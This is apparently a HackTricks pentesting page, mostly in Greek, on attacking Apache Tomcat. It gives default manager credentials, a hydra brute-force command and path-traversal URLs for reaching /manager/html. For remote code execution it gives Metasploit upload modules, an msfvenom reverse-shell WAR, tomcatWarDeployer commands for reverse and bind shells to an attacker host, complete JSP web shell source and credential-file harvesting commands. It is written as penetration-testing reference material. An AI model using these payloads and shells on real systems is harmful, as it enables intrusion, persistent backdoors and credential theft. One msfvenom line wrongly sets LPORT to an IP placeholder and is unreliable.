.. | ||
basic-tomcat-info.md | ||
README.md |
Tomcat
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Discovery
- Συνήθως τρέχει σε θύρα 8080
- Κοινό σφάλμα Tomcat:
Enumeration
Version Identification
Για να βρείτε την έκδοση του Apache Tomcat, μπορεί να εκτελεστεί μια απλή εντολή:
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
Αυτό θα αναζητήσει τον όρο "Tomcat" στη σελίδα ευρετηρίου τεκμηρίωσης, αποκαλύπτοντας την έκδοση στον τίτλο της HTML απόκρισης.
Τοποθεσία Αρχείων Διαχειριστή
Η αναγνώριση των ακριβών τοποθεσιών των /manager
και /host-manager
καταλόγων είναι κρίσιμη καθώς τα ονόματά τους μπορεί να έχουν τροποποιηθεί. Συνιστάται μια αναζήτηση brute-force για να εντοπιστούν αυτές οι σελίδες.
Αναγνώριση Ονομάτων Χρηστών
Για εκδόσεις Tomcat παλαιότερες από 6, είναι δυνατή η αναγνώριση ονομάτων χρηστών μέσω:
msf> use auxiliary/scanner/http/tomcat_enum
Προεπιλεγμένα Διαπιστευτήρια
Ο /manager/html
φάκελος είναι ιδιαίτερα ευαίσθητος καθώς επιτρέπει την ανέβασμα και ανάπτυξη αρχείων WAR, τα οποία μπορεί να οδηγήσουν σε εκτέλεση κώδικα. Αυτός ο φάκελος προστατεύεται από βασική αυθεντικοποίηση HTTP, με κοινά διαπιστευτήρια να είναι:
- admin:admin
- tomcat:tomcat
- admin:
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
Αυτά τα διαπιστευτήρια μπορούν να δοκιμαστούν χρησιμοποιώντας:
msf> use auxiliary/scanner/http/tomcat_mgr_login
Ένας άλλος αξιοσημείωτος κατάλογος είναι /manager/status
, ο οποίος εμφανίζει την έκδοση του Tomcat και του λειτουργικού συστήματος, βοηθώντας στην αναγνώριση ευπαθειών.
Brute Force Attack
Για να προσπαθήσετε μια επίθεση brute force στον κατάλογο διαχείρισης, μπορείτε να χρησιμοποιήσετε:
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
Along with setting various parameters in Metasploit to target a specific host.
Common Vulnerabilities
Password Backtrace Disclosure
Η πρόσβαση στο /auth.jsp
μπορεί να αποκαλύψει τον κωδικό πρόσβασης σε ένα backtrace υπό ευνοϊκές συνθήκες.
Double URL Encoding
Η ευπάθεια CVE-2007-1860 στο mod_jk
επιτρέπει την διπλή κωδικοποίηση URL path traversal, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση στη διαχείριση μέσω μιας ειδικά κατασκευασμένης διεύθυνσης URL.
Για να αποκτήσετε πρόσβαση στη διαχείριση του Tomcat, πηγαίνετε στο: pathTomcat/%252E%252E/manager/html
/examples
Οι εκδόσεις Apache Tomcat 4.x έως 7.x περιλαμβάνουν παραδείγματα scripts που είναι ευάλωτα σε αποκάλυψη πληροφοριών και επιθέσεις cross-site scripting (XSS). Αυτά τα scripts, που αναφέρονται εκτενώς, θα πρέπει να ελέγχονται για μη εξουσιοδοτημένη πρόσβαση και πιθανή εκμετάλλευση. Βρείτε περισσότερες πληροφορίες εδώ
- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
- /examples/jsp/snp/snoop.jsp
- /examples/jsp/error/error.html
- /examples/jsp/sessions/carts.html
- /examples/jsp/checkbox/check.html
- /examples/jsp/colors/colors.html
- /examples/jsp/cal/login.html
- /examples/jsp/include/include.jsp
- /examples/jsp/forward/forward.jsp
- /examples/jsp/plugin/plugin.jsp
- /examples/jsp/jsptoserv/jsptoservlet.jsp
- /examples/jsp/simpletag/foo.jsp
- /examples/jsp/mail/sendmail.jsp
- /examples/servlet/HelloWorldExample
- /examples/servlet/RequestInfoExample
- /examples/servlet/RequestHeaderExample
- /examples/servlet/RequestParamExample
- /examples/servlet/CookieExample
- /examples/servlet/JndiServlet
- /examples/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
Path Traversal Exploit
Σε ορισμένες ευάλωτες ρυθμίσεις του Tomcat μπορείτε να αποκτήσετε πρόσβαση σε προστατευμένους καταλόγους στο Tomcat χρησιμοποιώντας το path: /..;/
Έτσι, για παράδειγμα, μπορεί να μπορείτε να αποκτήσετε πρόσβαση στη σελίδα διαχείρισης του Tomcat πηγαίνοντας: www.vulnerable.com/lalala/..;/manager/html
Ένας άλλος τρόπος για να παρακάμψετε τις προστατευμένες διαδρομές χρησιμοποιώντας αυτό το κόλπο είναι να αποκτήσετε πρόσβαση στο http://www.vulnerable.com/;param=value/manager/html
RCE
Τέλος, αν έχετε πρόσβαση στον Tomcat Web Application Manager, μπορείτε να ανεβάσετε και να αναπτύξετε ένα αρχείο .war (εκτέλεση κώδικα).
Limitations
Θα μπορείτε να αναπτύξετε ένα WAR μόνο αν έχετε αρκετά δικαιώματα (ρόλοι: admin, manager και manager-script). Αυτές οι λεπτομέρειες μπορούν να βρεθούν στο tomcat-users.xml που συνήθως ορίζεται στο /usr/share/tomcat9/etc/tomcat-users.xml
(διαφέρει μεταξύ εκδόσεων) (βλ. POST section).
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
Metasploit
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
MSFVenom Reverse Shell
- Δημιουργήστε το war για ανάπτυξη:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
- Ανεβάστε το
revshell.war
αρχείο και αποκτήστε πρόσβαση σε αυτό (/revshell/
):
Bind και reverse shell με tomcatWarDeployer.py
Σε ορισμένα σενάρια αυτό δεν λειτουργεί (για παράδειγμα παλιές εκδόσεις του sun)
Κατεβάστε
git clone https://github.com/mgeeky/tomcatWarDeployer.git
Αντίστροφη θήκη
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
Bind shell
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Χρήση Culsterd
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
Manual method - Web shell
Create index.jsp with this content:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
Μπορείτε επίσης να εγκαταστήσετε αυτό (επιτρέπει την αποστολή, λήψη και εκτέλεση εντολών): http://vonloesch.de/filebrowser.html
Χειροκίνητη Μέθοδος 2
Αποκτήστε ένα JSP web shell όπως αυτό και δημιουργήστε ένα WAR αρχείο:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
Το όνομα του αρχείου διαπιστευτηρίων Tomcat είναι tomcat-users.xml
find / -name tomcat-users.xml 2>/dev/null
Άλλοι τρόποι για να συλλέξετε διαπιστευτήρια Tomcat:
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
Άλλα εργαλεία σάρωσης tomcat
Αναφορές
- https://github.com/simran-sankhala/Pentest-Tomcat
- https://hackertarget.com/sample/nexpose-metasploitable-test.pdf
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.